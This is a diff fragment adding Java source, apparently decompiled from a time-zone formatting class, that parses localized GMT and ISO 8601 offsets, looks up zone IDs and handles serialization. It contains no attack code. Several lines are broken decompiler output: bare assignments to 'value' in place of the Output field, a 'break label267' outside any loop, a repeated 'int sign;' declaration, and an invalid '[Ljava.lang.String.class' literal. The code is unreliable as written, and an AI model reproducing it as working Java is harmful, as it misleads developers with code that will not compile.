+    for (int i = 0; i < s.length(); i++) {
+      char c = s.charAt(i);
+      if (c == '\'') {
+        if (isPrevQuote) {
+          buf.append(c);
+          isPrevQuote = false;
+        } else {
+          isPrevQuote = true;
+        }
+        inQuote = !inQuote;
+      } else {
+        isPrevQuote = false;
+        buf.append(c);
+      }
+    }
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+
+  private void initGMTOffsetPatterns(String[] gmtOffsetPatterns)
+  {
+    int size = GMTOffsetPatternType.values().length;
+    if (gmtOffsetPatterns.length < size) {
+      throw new IllegalArgumentException("Insufficient number of elements in gmtOffsetPatterns");
+    }
+    Object[][] gmtOffsetPatternItems = new Object[size][];
+    for (GMTOffsetPatternType t : GMTOffsetPatternType.values()) {
+      int idx = t.ordinal();
+      
+
+      Object[] parsedItems = parseOffsetPattern(gmtOffsetPatterns[idx], t.required());
+      gmtOffsetPatternItems[idx] = parsedItems;
+    }
+    
+    _gmtOffsetPatterns = new String[size];
+    System.arraycopy(gmtOffsetPatterns, 0, _gmtOffsetPatterns, 0, size);
+    _gmtOffsetPatternItems = gmtOffsetPatternItems;
+    checkAbuttingHoursAndMinutes();
+  }
+  
+  private void checkAbuttingHoursAndMinutes() {
+    _abuttingOffsetHoursAndMinutes = false;
+    for (Object[] items : _gmtOffsetPatternItems) {
+      boolean afterH = false;
+      for (Object item : items) {
+        if ((item instanceof GMTOffsetField)) {
+          GMTOffsetField fld = (GMTOffsetField)item;
+          if (afterH) {
+            _abuttingOffsetHoursAndMinutes = true;
+          } else if (fld.getType() == 'H')
+            afterH = true;
+        } else {
+          if (afterH) {
+            break;
+          }
+        }
+      }
+    }
+  }
+  
+
+  private static class GMTOffsetField
+  {
+    final char _type;
+    final int _width;
+    
+    GMTOffsetField(char type, int width)
+    {
+      _type = type;
+      _width = width;
+    }
+    
+    char getType() {
+      return _type;
+    }
+    
+    int getWidth()
+    {
+      return _width;
+    }
+    
+    static boolean isValid(char type, int width) {
+      return (width == 1) || (width == 2);
+    }
+  }
+  
+
+
+
+
+
+
+
+  private static Object[] parseOffsetPattern(String pattern, String letters)
+  {
+    boolean isPrevQuote = false;
+    boolean inQuote = false;
+    StringBuilder text = new StringBuilder();
+    char itemType = '\000';
+    int itemLength = 1;
+    boolean invalidPattern = false;
+    
+    List<Object> items = new ArrayList();
+    BitSet checkBits = new BitSet(letters.length());
+    
+    for (int i = 0; i < pattern.length(); i++) {
+      char ch = pattern.charAt(i);
+      if (ch == '\'') {
+        if (isPrevQuote) {
+          text.append('\'');
+          isPrevQuote = false;
+        } else {
+          isPrevQuote = true;
+          if (itemType != 0) {
+            if (GMTOffsetField.isValid(itemType, itemLength)) {
+              items.add(new GMTOffsetField(itemType, itemLength));
+            } else {
+              invalidPattern = true;
+              break;
+            }
+            itemType = '\000';
+          }
+        }
+        inQuote = !inQuote;
+      } else {
+        isPrevQuote = false;
+        if (inQuote) {
+          text.append(ch);
+        } else {
+          int patFieldIdx = letters.indexOf(ch);
+          if (patFieldIdx >= 0)
+          {
+            if (ch == itemType) {
+              itemLength++;
+            } else {
+              if (itemType == 0) {
+                if (text.length() > 0) {
+                  items.add(text.toString());
+                  text.setLength(0);
+                }
+              }
+              else if (GMTOffsetField.isValid(itemType, itemLength)) {
+                items.add(new GMTOffsetField(itemType, itemLength));
+              } else {
+                invalidPattern = true;
+                break;
+              }
+              
+              itemType = ch;
+              itemLength = 1;
+              checkBits.set(patFieldIdx);
+            }
+          }
+          else {
+            if (itemType != 0) {
+              if (GMTOffsetField.isValid(itemType, itemLength)) {
+                items.add(new GMTOffsetField(itemType, itemLength));
+              } else {
+                invalidPattern = true;
+                break;
+              }
+              itemType = '\000';
+            }
+            text.append(ch);
+          }
+        }
+      }
+    }
+    
+    if (!invalidPattern) {
+      if (itemType == 0) {
+        if (text.length() > 0) {
+          items.add(text.toString());
+          text.setLength(0);
+        }
+      }
+      else if (GMTOffsetField.isValid(itemType, itemLength)) {
+        items.add(new GMTOffsetField(itemType, itemLength));
+      } else {
+        invalidPattern = true;
+      }
+    }
+    
+
+    if ((invalidPattern) || (checkBits.cardinality() != letters.length())) {
+      throw new IllegalStateException("Bad localized GMT offset pattern: " + pattern);
+    }
+    
+    return items.toArray(new Object[items.size()]);
+  }
+  
+
+
+
+
+
+
+  private static String expandOffsetPattern(String offsetHM)
+  {
+    int idx_mm = offsetHM.indexOf("mm");
+    if (idx_mm < 0) {
+      throw new RuntimeException("Bad time zone hour pattern data");
+    }
+    String sep = ":";
+    int idx_H = offsetHM.substring(0, idx_mm).lastIndexOf("H");
+    if (idx_H >= 0) {
+      sep = offsetHM.substring(idx_H + 1, idx_mm);
+    }
+    return offsetHM.substring(0, idx_mm + 2) + sep + "ss" + offsetHM.substring(idx_mm + 2);
+  }
+  
+
+
+
+
+
+
+  private static String truncateOffsetPattern(String offsetHM)
+  {
+    int idx_mm = offsetHM.indexOf("mm");
+    if (idx_mm < 0) {
+      throw new RuntimeException("Bad time zone hour pattern data");
+    }
+    int idx_HH = offsetHM.substring(0, idx_mm).lastIndexOf("HH");
+    if (idx_HH >= 0) {
+      return offsetHM.substring(0, idx_HH + 2);
+    }
+    int idx_H = offsetHM.substring(0, idx_mm).lastIndexOf("H");
+    if (idx_H >= 0) {
+      return offsetHM.substring(0, idx_H + 1);
+    }
+    throw new RuntimeException("Bad time zone hour pattern data");
+  }
+  
+
+
+
+
+
+
+
+
+  private void appendOffsetDigits(StringBuilder buf, int n, int minDigits)
+  {
+    assert ((n >= 0) && (n < 60));
+    int numDigits = n >= 10 ? 2 : 1;
+    for (int i = 0; i < minDigits - numDigits; i++) {
+      buf.append(_gmtOffsetDigits[0]);
+    }
+    if (numDigits == 2) {
+      buf.append(_gmtOffsetDigits[(n / 10)]);
+    }
+    buf.append(_gmtOffsetDigits[(n % 10)]);
+  }
+  
+
+
+
+
+  private TimeZone getTimeZoneForOffset(int offset)
+  {
+    if (offset == 0)
+    {
+      return TimeZone.getTimeZone("Etc/GMT");
+    }
+    return ZoneMeta.getCustomTimeZone(offset);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private int parseOffsetLocalizedGMT(String text, ParsePosition pos, boolean isShort, Output<Boolean> hasDigitOffset)
+  {
+    int start = pos.getIndex();
+    int offset = 0;
+    int[] parsedLength = { 0 };
+    
+    if (hasDigitOffset != null) {
+      value = Boolean.valueOf(false);
+    }
+    
+    offset = parseOffsetLocalizedGMTPattern(text, start, isShort, parsedLength);
+    
+
+
+
+
+
+
+
+
+    if (parsedLength[0] > 0) {
+      if (hasDigitOffset != null) {
+        value = Boolean.valueOf(true);
+      }
+      pos.setIndex(start + parsedLength[0]);
+      return offset;
+    }
+    
+
+    offset = parseOffsetDefaultLocalizedGMT(text, start, parsedLength);
+    if (parsedLength[0] > 0) {
+      if (hasDigitOffset != null) {
+        value = Boolean.valueOf(true);
+      }
+      pos.setIndex(start + parsedLength[0]);
+      return offset;
+    }
+    
+
+    if (text.regionMatches(true, start, _gmtZeroFormat, 0, _gmtZeroFormat.length())) {
+      pos.setIndex(start + _gmtZeroFormat.length());
+      return 0;
+    }
+    
+
+    for (String defGMTZero : ALT_GMT_STRINGS) {
+      if (text.regionMatches(true, start, defGMTZero, 0, defGMTZero.length())) {
+        pos.setIndex(start + defGMTZero.length());
+        return 0;
+      }
+    }
+    
+
+    pos.setErrorIndex(start);
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+  private int parseOffsetLocalizedGMTPattern(String text, int start, boolean isShort, int[] parsedLen)
+  {
+    int idx = start;
+    int offset = 0;
+    boolean parsed = false;
+    
+
+
+    int len = _gmtPatternPrefix.length();
+    if ((len <= 0) || (text.regionMatches(true, idx, _gmtPatternPrefix, 0, len)))
+    {
+
+
+      idx += len;
+      
+
+      int[] offsetLen = new int[1];
+      offset = parseOffsetFields(text, idx, false, offsetLen);
+      if (offsetLen[0] != 0)
+      {
+
+
+        idx += offsetLen[0];
+        
+
+        len = _gmtPatternSuffix.length();
+        if ((len <= 0) || (text.regionMatches(true, idx, _gmtPatternSuffix, 0, len)))
+        {
+
+
+          idx += len;
+          parsed = true;
+        }
+      } }
+    parsedLen[0] = (parsed ? idx - start : 0);
+    return offset;
+  }
+  
+
+
+
+
+
+
+
+
+  private int parseOffsetFields(String text, int start, boolean isShort, int[] parsedLen)
+  {
+    int outLen = 0;
+    int offset = 0;
+    int sign = 1;
+    
+    if ((parsedLen != null) && (parsedLen.length >= 1)) {
+      parsedLen[0] = 0;
+    }
+    int offsetS;
+    int offsetM;
+    int offsetH = offsetM = offsetS = 0;
+    
+    int[] fields = { 0, 0, 0 };
+    for (GMTOffsetPatternType gmtPatType : PARSE_GMT_OFFSET_TYPES) {
+      Object[] items = _gmtOffsetPatternItems[gmtPatType.ordinal()];
+      assert (items != null);
+      
+      outLen = parseOffsetFieldsWithPattern(text, start, items, false, fields);
+      if (outLen > 0) {
+        sign = gmtPatType.isPositive() ? 1 : -1;
+        offsetH = fields[0];
+        offsetM = fields[1];
+        offsetS = fields[2];
+        break;
+      }
+    }
+    if ((outLen > 0) && (_abuttingOffsetHoursAndMinutes))
+    {
+
+
+
+      int tmpLen = 0;
+      int tmpSign = 1;
+      for (GMTOffsetPatternType gmtPatType : PARSE_GMT_OFFSET_TYPES) {
+        Object[] items = _gmtOffsetPatternItems[gmtPatType.ordinal()];
+        assert (items != null);
+        
+
+        tmpLen = parseOffsetFieldsWithPattern(text, start, items, true, fields);
+        if (tmpLen > 0) {
+          tmpSign = gmtPatType.isPositive() ? 1 : -1;
+          break;
+        }
+      }
+      if (tmpLen > outLen)
+      {
+        outLen = tmpLen;
+        sign = tmpSign;
+        offsetH = fields[0];
+        offsetM = fields[1];
+        offsetS = fields[2];
+      }
+    }
+    
+    if ((parsedLen != null) && (parsedLen.length >= 1)) {
+      parsedLen[0] = outLen;
+    }
+    
+    if (outLen > 0) {
+      offset = ((offsetH * 60 + offsetM) * 60 + offsetS) * 1000 * sign;
+    }
+    
+    return offset;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private int parseOffsetFieldsWithPattern(String text, int start, Object[] patternItems, boolean forceSingleHourDigit, int[] fields)
+  {
+    assert ((fields != null) && (fields.length >= 3)); int 
+      tmp38_37 = (fields[2] = 0);fields[1] = tmp38_37;fields[0] = tmp38_37;
+    
+    boolean failed = false;
+    int offsetS;
+    int offsetM; int offsetH = offsetM = offsetS = 0;
+    int idx = start;
+    int[] tmpParsedLen = { 0 };
+    for (int i = 0; i < patternItems.length; i++) {
+      if ((patternItems[i] instanceof String)) {
+        String patStr = (String)patternItems[i];
+        int len = patStr.length();
+        if (!text.regionMatches(true, idx, patStr, 0, len)) {
+          failed = true;
+          break;
+        }
+        idx += len;
+      } else {
+        assert ((patternItems[i] instanceof GMTOffsetField));
+        GMTOffsetField field = (GMTOffsetField)patternItems[i];
+        char fieldType = field.getType();
+        if (fieldType == 'H') {
+          int maxDigits = forceSingleHourDigit ? 1 : 2;
+          offsetH = parseOffsetFieldWithLocalizedDigits(text, idx, 1, maxDigits, 0, 23, tmpParsedLen);
+        } else if (fieldType == 'm') {
+          offsetM = parseOffsetFieldWithLocalizedDigits(text, idx, 2, 2, 0, 59, tmpParsedLen);
+        } else if (fieldType == 's') {
+          offsetS = parseOffsetFieldWithLocalizedDigits(text, idx, 2, 2, 0, 59, tmpParsedLen);
+        }
+        
+        if (tmpParsedLen[0] == 0) {
+          failed = true;
+          break;
+        }
+        idx += tmpParsedLen[0];
+      }
+    }
+    
+    if (failed) {
+      return 0;
+    }
+    
+    fields[0] = offsetH;
+    fields[1] = offsetM;
+    fields[2] = offsetS;
+    
+    return idx - start;
+  }
+  
+
+
+
+
+
+
+  private int parseOffsetDefaultLocalizedGMT(String text, int start, int[] parsedLen)
+  {
+    int idx = start;
+    int offset = 0;
+    int parsed = 0;
+    
+
+    int gmtLen = 0;
+    for (String gmt : ALT_GMT_STRINGS) {
+      int len = gmt.length();
+      if (text.regionMatches(true, idx, gmt, 0, len)) {
+        gmtLen = len;
+        break;
+      }
+    }
+    if (gmtLen != 0)
+    {
+
+      idx += gmtLen;
+      
+
+      if (idx + 1 < text.length())
+      {
+
+
+
+        int sign = 1;
+        char c = text.charAt(idx);
+        if (c == '+') {
+          sign = 1;
+        } else { if (c != '-') break label267;
+          sign = -1;
+        }
+        
+
+        idx++;
+        
+
+
+        int[] lenWithSep = { 0 };
+        int offsetWithSep = parseDefaultOffsetFields(text, idx, ':', lenWithSep);
+        if (lenWithSep[0] == text.length() - idx)
+        {
+          offset = offsetWithSep * sign;
+          idx += lenWithSep[0];
+        }
+        else {
+          int[] lenAbut = { 0 };
+          int offsetAbut = parseAbuttingOffsetFields(text, idx, lenAbut);
+          
+          if (lenWithSep[0] > lenAbut[0]) {
+            offset = offsetWithSep * sign;
+            idx += lenWithSep[0];
+          } else {
+            offset = offsetAbut * sign;
+            idx += lenAbut[0];
+          }
+        }
+        parsed = idx - start;
+      } }
+    label267:
+    parsedLen[0] = parsed;
+    return offset;
+  }
+  
+
+
+
+
+
+
+
+  private int parseDefaultOffsetFields(String text, int start, char separator, int[] parsedLen)
+  {
+    int max = text.length();
+    int idx = start;
+    int[] len = { 0 };
+    int hour = 0;int min = 0;int sec = 0;
+    
+
+    hour = parseOffsetFieldWithLocalizedDigits(text, idx, 1, 2, 0, 23, len);
+    if (len[0] != 0)
+    {
+
+      idx += len[0];
+      
+      if ((idx + 1 < max) && (text.charAt(idx) == separator)) {
+        min = parseOffsetFieldWithLocalizedDigits(text, idx + 1, 2, 2, 0, 59, len);
+        if (len[0] != 0)
+        {
+
+          idx += 1 + len[0];
+          
+          if ((idx + 1 < max) && (text.charAt(idx) == separator)) {
+            sec = parseOffsetFieldWithLocalizedDigits(text, idx + 1, 2, 2, 0, 59, len);
+            if (len[0] != 0)
+            {
+
+              idx += 1 + len[0]; }
+          }
+        }
+      }
+    }
+    if (idx == start) {
+      parsedLen[0] = 0;
+      return 0;
+    }
+    
+    parsedLen[0] = (idx - start);
+    return hour * 3600000 + min * 60000 + sec * 1000;
+  }
+  
+
+
+
+
+
+
+  private int parseAbuttingOffsetFields(String text, int start, int[] parsedLen)
+  {
+    int MAXDIGITS = 6;
+    int[] digits = new int[6];
+    int[] parsed = new int[6];
+    
+
+    int idx = start;
+    int[] len = { 0 };
+    int numDigits = 0;
+    for (int i = 0; i < 6; i++) {
+      digits[i] = parseSingleLocalizedDigit(text, idx, len);
+      if (digits[i] < 0) {
+        break;
+      }
+      idx += len[0];
+      parsed[i] = (idx - start);
+      numDigits++;
+    }
+    
+    if (numDigits == 0) {
+      parsedLen[0] = 0;
+      return 0;
+    }
+    
+    int offset = 0;
+    while (numDigits > 0) {
+      int hour = 0;
+      int min = 0;
+      int sec = 0;
+      
+      assert ((numDigits > 0) && (numDigits <= 6));
+      switch (numDigits) {
+      case 1: 
+        hour = digits[0];
+        break;
+      case 2: 
+        hour = digits[0] * 10 + digits[1];
+        break;
+      case 3: 
+        hour = digits[0];
+        min = digits[1] * 10 + digits[2];
+        break;
+      case 4: 
+        hour = digits[0] * 10 + digits[1];
+        min = digits[2] * 10 + digits[3];
+        break;
+      case 5: 
+        hour = digits[0];
+        min = digits[1] * 10 + digits[2];
+        sec = digits[3] * 10 + digits[4];
+        break;
+      case 6: 
+        hour = digits[0] * 10 + digits[1];
+        min = digits[2] * 10 + digits[3];
+        sec = digits[4] * 10 + digits[5];
+      }
+      
+      if ((hour <= 23) && (min <= 59) && (sec <= 59))
+      {
+        offset = hour * 3600000 + min * 60000 + sec * 1000;
+        parsedLen[0] = parsed[(numDigits - 1)];
+        break;
+      }
+      numDigits--;
+    }
+    return offset;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int parseOffsetFieldWithLocalizedDigits(String text, int start, int minDigits, int maxDigits, int minVal, int maxVal, int[] parsedLen)
+  {
+    parsedLen[0] = 0;
+    
+    int decVal = 0;
+    int numDigits = 0;
+    int idx = start;
+    int[] digitLen = { 0 };
+    while ((idx < text.length()) && (numDigits < maxDigits)) {
+      int digit = parseSingleLocalizedDigit(text, idx, digitLen);
+      if (digit < 0) {
+        break;
+      }
+      int tmpVal = decVal * 10 + digit;
+      if (tmpVal > maxVal) {
+        break;
+      }
+      decVal = tmpVal;
+      numDigits++;
+      idx += digitLen[0];
+    }
+    
+
+    if ((numDigits < minDigits) || (decVal < minVal)) {
+      decVal = -1;
+      numDigits = 0;
+    } else {
+      parsedLen[0] = (idx - start);
+    }
+    
+
+    return decVal;
+  }
+  
+
+
+
+
+
+
+
+
+  private int parseSingleLocalizedDigit(String text, int start, int[] len)
+  {
+    int digit = -1;
+    len[0] = 0;
+    if (start < text.length()) {
+      int cp = Character.codePointAt(text, start);
+      
+
+      for (int i = 0; i < _gmtOffsetDigits.length; i++) {
+        if (cp == _gmtOffsetDigits[i].codePointAt(0)) {
+          digit = i;
+          break;
+        }
+      }
+      
+      if (digit < 0) {
+        digit = UCharacter.digit(cp);
+      }
+      
+      if (digit >= 0) {
+        len[0] = Character.charCount(cp);
+      }
+    }
+    return digit;
+  }
+  
+
+
+
+
+
+
+
+  private static String[] toCodePoints(String str)
+  {
+    int len = str.codePointCount(0, str.length());
+    String[] codePoints = new String[len];
+    
+    int i = 0; for (int offset = 0; i < len; i++) {
+      int code = str.codePointAt(offset);
+      int codeLen = Character.charCount(code);
+      codePoints[i] = str.substring(offset, offset + codeLen);
+      offset += codeLen;
+    }
+    return codePoints;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int parseOffsetISO8601(String text, ParsePosition pos, boolean extendedOnly, Output<Boolean> hasDigitOffset)
+  {
+    if (hasDigitOffset != null) {
+      value = Boolean.valueOf(false);
+    }
+    int start = pos.getIndex();
+    if (start >= text.length()) {
+      pos.setErrorIndex(start);
+      return 0;
+    }
+    
+    char firstChar = text.charAt(start);
+    if (Character.toUpperCase(firstChar) == "Z".charAt(0))
+    {
+      pos.setIndex(start + 1);
+      return 0;
+    }
+    
+    int sign;
+    if (firstChar == '+') {
+      sign = 1; } else { int sign;
+      if (firstChar == '-') {
+        sign = -1;
+      }
+      else {
+        pos.setErrorIndex(start);
+        return 0; } }
+    int sign;
+    ParsePosition posOffset = new ParsePosition(start + 1);
+    int offset = parseAsciiOffsetFields(text, posOffset, ':', OffsetFields.H, OffsetFields.HMS);
+    if ((posOffset.getErrorIndex() == -1) && (!extendedOnly) && (posOffset.getIndex() - start <= 3))
+    {
+
+
+      ParsePosition posBasic = new ParsePosition(start + 1);
+      int tmpOffset = parseAbuttingAsciiOffsetFields(text, posBasic, OffsetFields.H, OffsetFields.HMS, false);
+      if ((posBasic.getErrorIndex() == -1) && (posBasic.getIndex() > posOffset.getIndex())) {
+        offset = tmpOffset;
+        posOffset.setIndex(posBasic.getIndex());
+      }
+    }
+    
+    if (posOffset.getErrorIndex() != -1) {
+      pos.setErrorIndex(start);
+      return 0;
+    }
+    
+    pos.setIndex(posOffset.getIndex());
+    if (hasDigitOffset != null) {
+      value = Boolean.valueOf(true);
+    }
+    return sign * offset;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int parseAbuttingAsciiOffsetFields(String text, ParsePosition pos, OffsetFields minFields, OffsetFields maxFields, boolean fixedHourWidth)
+  {
+    int start = pos.getIndex();
+    
+    int minDigits = 2 * (minFields.ordinal() + 1) - (fixedHourWidth ? 0 : 1);
+    int maxDigits = 2 * (maxFields.ordinal() + 1);
+    
+    int[] digits = new int[maxDigits];
+    int numDigits = 0;
+    int idx = start;
+    while ((numDigits < digits.length) && (idx < text.length())) {
+      int digit = "0123456789".indexOf(text.charAt(idx));
+      if (digit < 0) {
+        break;
+      }
+      digits[numDigits] = digit;
+      numDigits++;
+      idx++;
+    }
+    
+    if ((fixedHourWidth) && ((numDigits & 0x1) != 0))
+    {
+      numDigits--;
+    }
+    
+    if (numDigits < minDigits) {
+      pos.setErrorIndex(start);
+      return 0;
+    }
+    
+    int hour = 0;int min = 0;int sec = 0;
+    boolean bParsed = false;
+    while (numDigits >= minDigits) {
+      switch (numDigits) {
+      case 1: 
+        hour = digits[0];
+        break;
+      case 2: 
+        hour = digits[0] * 10 + digits[1];
+        break;
+      case 3: 
+        hour = digits[0];
+        min = digits[1] * 10 + digits[2];
+        break;
+      case 4: 
+        hour = digits[0] * 10 + digits[1];
+        min = digits[2] * 10 + digits[3];
+        break;
+      case 5: 
+        hour = digits[0];
+        min = digits[1] * 10 + digits[2];
+        sec = digits[3] * 10 + digits[4];
+        break;
+      case 6: 
+        hour = digits[0] * 10 + digits[1];
+        min = digits[2] * 10 + digits[3];
+        sec = digits[4] * 10 + digits[5];
+      }
+      
+      
+      if ((hour <= 23) && (min <= 59) && (sec <= 59))
+      {
+        bParsed = true;
+        break;
+      }
+      
+
+      numDigits -= (fixedHourWidth ? 2 : 1);
+      hour = min = sec = 0;
+    }
+    
+    if (!bParsed) {
+      pos.setErrorIndex(start);
+      return 0;
+    }
+    pos.setIndex(start + numDigits);
+    return ((hour * 60 + min) * 60 + sec) * 1000;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int parseAsciiOffsetFields(String text, ParsePosition pos, char sep, OffsetFields minFields, OffsetFields maxFields)
+  {
+    int start = pos.getIndex();
+    int[] fieldVal = { 0, 0, 0 };
+    int[] fieldLen = { 0, -1, -1 };
+    int idx = start; for (int fieldIdx = 0; (idx < text.length()) && (fieldIdx <= maxFields.ordinal()); idx++) {
+      char c = text.charAt(idx);
+      if (c == sep) {
+        if (fieldIdx == 0) {
+          if (fieldLen[0] == 0) {
+            break;
+          }
+          
+
+          fieldIdx++;
+        } else {
+          if (fieldLen[fieldIdx] != -1) {
+            break;
+          }
+          
+          fieldLen[fieldIdx] = 0;
+        }
+      } else {
+        if (fieldLen[fieldIdx] == -1) {
+          break;
+        }
+        
+        int digit = "0123456789".indexOf(c);
+        if (digit < 0) {
+          break;
+        }
+        
+        fieldVal[fieldIdx] = (fieldVal[fieldIdx] * 10 + digit);
+        fieldLen[fieldIdx] += 1;
+        if (fieldLen[fieldIdx] >= 2)
+        {
+          fieldIdx++;
+        }
+      }
+    }
+    int offset = 0;
+    int parsedLen = 0;
+    OffsetFields parsedFields = null;
+    
+
+    if (fieldLen[0] != 0)
+    {
+
+      if (fieldVal[0] > 23) {
+        offset = fieldVal[0] / 10 * 3600000;
+        parsedFields = OffsetFields.H;
+        parsedLen = 1;
+      }
+      else {
+        offset = fieldVal[0] * 3600000;
+        parsedLen = fieldLen[0];
+        parsedFields = OffsetFields.H;
+        
+
+        if ((fieldLen[1] == 2) && (fieldVal[1] <= 59))
+        {
+
+          offset += fieldVal[1] * 60000;
+          parsedLen += 1 + fieldLen[1];
+          parsedFields = OffsetFields.HM;
+          
+
+          if ((fieldLen[2] == 2) && (fieldVal[2] <= 59))
+          {
+
+            offset += fieldVal[2] * 1000;
+            parsedLen += 1 + fieldLen[2];
+            parsedFields = OffsetFields.HMS;
+          }
+        } } }
+    if ((parsedFields == null) || (parsedFields.ordinal() < minFields.ordinal())) {
+      pos.setErrorIndex(start);
+      return 0;
+    }
+    
+    pos.setIndex(start + parsedLen);
+    return offset;
+  }
+  
+
+
+
+
+
+  private static String parseZoneID(String text, ParsePosition pos)
+  {
+    String resolvedID = null;
+    if (ZONE_ID_TRIE == null) {
+      synchronized (TimeZoneFormat.class) {
+        if (ZONE_ID_TRIE == null)
+        {
+          TextTrieMap<String> trie = new TextTrieMap(true);
+          String[] ids = TimeZone.getAvailableIDs();
+          for (String id : ids) {
+            trie.put(id, id);
+          }
+          ZONE_ID_TRIE = trie;
+        }
+      }
+    }
+    
+    int[] matchLen = { 0 };
+    Iterator<String> itr = ZONE_ID_TRIE.get(text, pos.getIndex(), matchLen);
+    if (itr != null) {
+      resolvedID = (String)itr.next();
+      pos.setIndex(pos.getIndex() + matchLen[0]);
+
+
+    }
+    else
+    {
+
+      pos.setErrorIndex(pos.getIndex());
+    }
+    return resolvedID;
+  }
+  
+
+
+
+
+
+  private static String parseShortZoneID(String text, ParsePosition pos)
+  {
+    String resolvedID = null;
+    if (SHORT_ZONE_ID_TRIE == null) {
+      synchronized (TimeZoneFormat.class) {
+        if (SHORT_ZONE_ID_TRIE == null)
+        {
+          TextTrieMap<String> trie = new TextTrieMap(true);
+          Set<String> canonicalIDs = TimeZone.getAvailableIDs(TimeZone.SystemTimeZoneType.CANONICAL, null, null);
+          for (String id : canonicalIDs) {
+            String shortID = ZoneMeta.getShortID(id);
+            if (shortID != null) {
+              trie.put(shortID, id);
+            }
+          }
+          
+          trie.put("unk", "Etc/Unknown");
+          SHORT_ZONE_ID_TRIE = trie;
+        }
+      }
+    }
+    
+    int[] matchLen = { 0 };
+    Iterator<String> itr = SHORT_ZONE_ID_TRIE.get(text, pos.getIndex(), matchLen);
+    if (itr != null) {
+      resolvedID = (String)itr.next();
+      pos.setIndex(pos.getIndex() + matchLen[0]);
+    } else {
+      pos.setErrorIndex(pos.getIndex());
+    }
+    
+    return resolvedID;
+  }
+  
+
+
+
+
+
+  private String parseExemplarLocation(String text, ParsePosition pos)
+  {
+    int startIdx = pos.getIndex();
+    int parsedPos = -1;
+    String tzID = null;
+    
+    EnumSet<TimeZoneNames.NameType> nameTypes = EnumSet.of(TimeZoneNames.NameType.EXEMPLAR_LOCATION);
+    Collection<TimeZoneNames.MatchInfo> exemplarMatches = _tznames.find(text, startIdx, nameTypes);
+    if (exemplarMatches != null) {
+      TimeZoneNames.MatchInfo exemplarMatch = null;
+      for (TimeZoneNames.MatchInfo match : exemplarMatches) {
+        if (startIdx + match.matchLength() > parsedPos) {
+          exemplarMatch = match;
+          parsedPos = startIdx + match.matchLength();
+        }
+      }
+      if (exemplarMatch != null) {
+        tzID = getTimeZoneID(exemplarMatch.tzID(), exemplarMatch.mzID());
+        pos.setIndex(parsedPos);
+      }
+    }
+    if (tzID == null) {
+      pos.setErrorIndex(startIdx);
+    }
+    
+    return tzID;
+  }
+  
+
+
+  private static class TimeZoneFormatCache
+    extends SoftCache<ULocale, TimeZoneFormat, ULocale>
+  {
+    private TimeZoneFormatCache() {}
+    
+
+    protected TimeZoneFormat createInstance(ULocale key, ULocale data)
+    {
+      TimeZoneFormat fmt = new TimeZoneFormat(data);
+      fmt.freeze();
+      return fmt;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final ObjectStreamField[] serialPersistentFields = { new ObjectStreamField("_locale", ULocale.class), new ObjectStreamField("_tznames", TimeZoneNames.class), new ObjectStreamField("_gmtPattern", String.class), new ObjectStreamField("_gmtOffsetPatterns", [Ljava.lang.String.class), new ObjectStreamField("_gmtOffsetDigits", [Ljava.lang.String.class), new ObjectStreamField("_gmtZeroFormat", String.class), new ObjectStreamField("_parseAllStyles", Boolean.TYPE) };
+  
+
+
+
+
+
+
+
+
+
+
+
+  private void writeObject(ObjectOutputStream oos)
+    throws IOException
+  {
+    ObjectOutputStream.PutField fields = oos.putFields();
+    
+    fields.put("_locale", _locale);
+    fields.put("_tznames", _tznames);
+    fields.put("_gmtPattern", _gmtPattern);
+    fields.put("_gmtOffsetPatterns", _gmtOffsetPatterns);
+    fields.put("_gmtOffsetDigits", _gmtOffsetDigits);
+    fields.put("_gmtZeroFormat", _gmtZeroFormat);
+    fields.put("_parseAllStyles", _parseAllStyles);
+    
+    oos.writeFields();
+  }
+  
+
+
+
+
+  private void readObject(ObjectInputStream ois)
+    throws ClassNotFoundException, IOException
+  {
+    ObjectInputStream.GetField fields = ois.readFields();
+    
+    _locale = ((ULocale)fields.get("_locale", null));
+    if (_locale == null) {
+      throw new InvalidObjectException("Missing field: locale");
+    }
+    
+    _tznames = ((TimeZoneNames)fields.get("_tznames", null));
+    if (_tznames == null) {
+      throw new InvalidObjectException("Missing field: tznames");
+    }
+    
+    _gmtPattern = ((String)fields.get("_gmtPattern", null));
+    if (_gmtPattern == null) {
+      throw new InvalidObjectException("Missing field: gmtPattern");
+    }
+    
+    String[] tmpGmtOffsetPatterns = (String[])fields.get("_gmtOffsetPatterns", null);
+    if (tmpGmtOffsetPatterns == null)
+      throw new InvalidObjectException("Missing field: gmtOffsetPatterns");
+    if (tmpGmtOffsetPatterns.length < 4) {
+      throw new InvalidObjectException("Incompatible field: gmtOffsetPatterns");
+    }
+    _gmtOffsetPatterns = new String[6];
+    if (tmpGmtOffsetPatterns.length == 4) {
+      for (int i = 0; i < 4; i++) {
+        _gmtOffsetPatterns[i] = tmpGmtOffsetPatterns[i];
+      }
+      _gmtOffsetPatterns[GMTOffsetPatternType.POSITIVE_H.ordinal()] = truncateOffsetPattern(_gmtOffsetPatterns[GMTOffsetPatternType.POSITIVE_HM.ordinal()]);
+      _gmtOffsetPatterns[GMTOffsetPatternType.NEGATIVE_H.ordinal()] = truncateOffsetPattern(_gmtOffsetPatterns[GMTOffsetPatternType.NEGATIVE_HM.ordinal()]);
+    } else {
+      _gmtOffsetPatterns = tmpGmtOffsetPatterns;
+    }
+    
+    _gmtOffsetDigits = ((String[])fields.get("_gmtOffsetDigits", null));
+    if (_gmtOffsetDigits == null)
+      throw new InvalidObjectException("Missing field: gmtOffsetDigits");
+    if (_gmtOffsetDigits.length != 10) {
+      throw new InvalidObjectException("Incompatible field: gmtOffsetDigits");
+    }
+    
+    _gmtZeroFormat = ((String)fields.get("_gmtZeroFormat", null));
+    if (_gmtZeroFormat == null) {
+      throw new InvalidObjectException("Missing field: gmtZeroFormat");
+    }
+    
+    _parseAllStyles = fields.get("_parseAllStyles", false);
+    if (fields.defaulted("_parseAllStyles")) {
+      throw new InvalidObjectException("Missing field: parseAllStyles");
+    }
+    
+
+
+
+
+
+
+
